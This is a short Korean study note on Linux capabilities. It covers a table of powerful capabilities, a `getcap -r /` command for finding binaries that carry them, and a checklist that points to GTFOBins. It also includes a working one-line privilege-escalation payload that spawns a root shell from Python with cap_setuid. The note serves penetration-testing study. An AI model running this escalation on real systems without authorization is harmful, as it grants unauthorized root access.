- 기존의 root 권한을 세분화한 보안 메커니즘.
- 기존에는 UID가 0(=root)이라면 시스템의 모든 권한을 가졌지만, `Capabilities` 는 이 권한들을 작은 조각으로 나눠서 개별적으로 관리할 수 있도록 해준다.
- 이를 통해 root가 아닌 사용자들도 특정 권한만 제한적으로 가질 수 있게 된다.
# 주요 Capabilities
|Capability 이름|설명|
|---|---|
|`CAP_SETUID`|다른 UID로 변경 가능|
|`CAP_DAC_OVERRIDE`|파일 권한 무시 (모든 파일 읽기/쓰기 등 가능)|
|`CAP_NET_RAW`|Raw socket 생성 가능 (네트워크 스니핑 등)|
|`CAP_SYS_MODULE`|커널 모듈 삽입 가능 (거의 루트급 권한)|
|`CAP_SYS_PTRACE`|다른 프로세스에 `ptrace` 사용 가능 (메모리/시스템 콜 조작)|
|`CAP_SYS_ADMIN`|만능 열쇠에 가까움. 마운트, 네트워크, 리소스 제한 등 가능|
# Capabilities가 설정된 파일 찾기
```bash
# 전체 시스템 탐색
getcap -r / 2>/dev/null
# 예시 결과
/usr/bin/python3.8 = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep
# 특정 파일의 capabilities 확인
getcap /usr/bin/python3.8
```
# Capabilities를 활용한 PrivEsc 예시
```bash
# 예시) cap_setuid+ep가 있는 Python
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
```
# 체크리스트
- `getcap -r /` 로 권한 있는 실행 파일 확인
- 파일이 python, perl, tar, bash 같이 임의 코드 실행 가능한 프로그램인지 확인
- GTFOBins에서 해당 바이너리로 권한 상승 가능한지 조사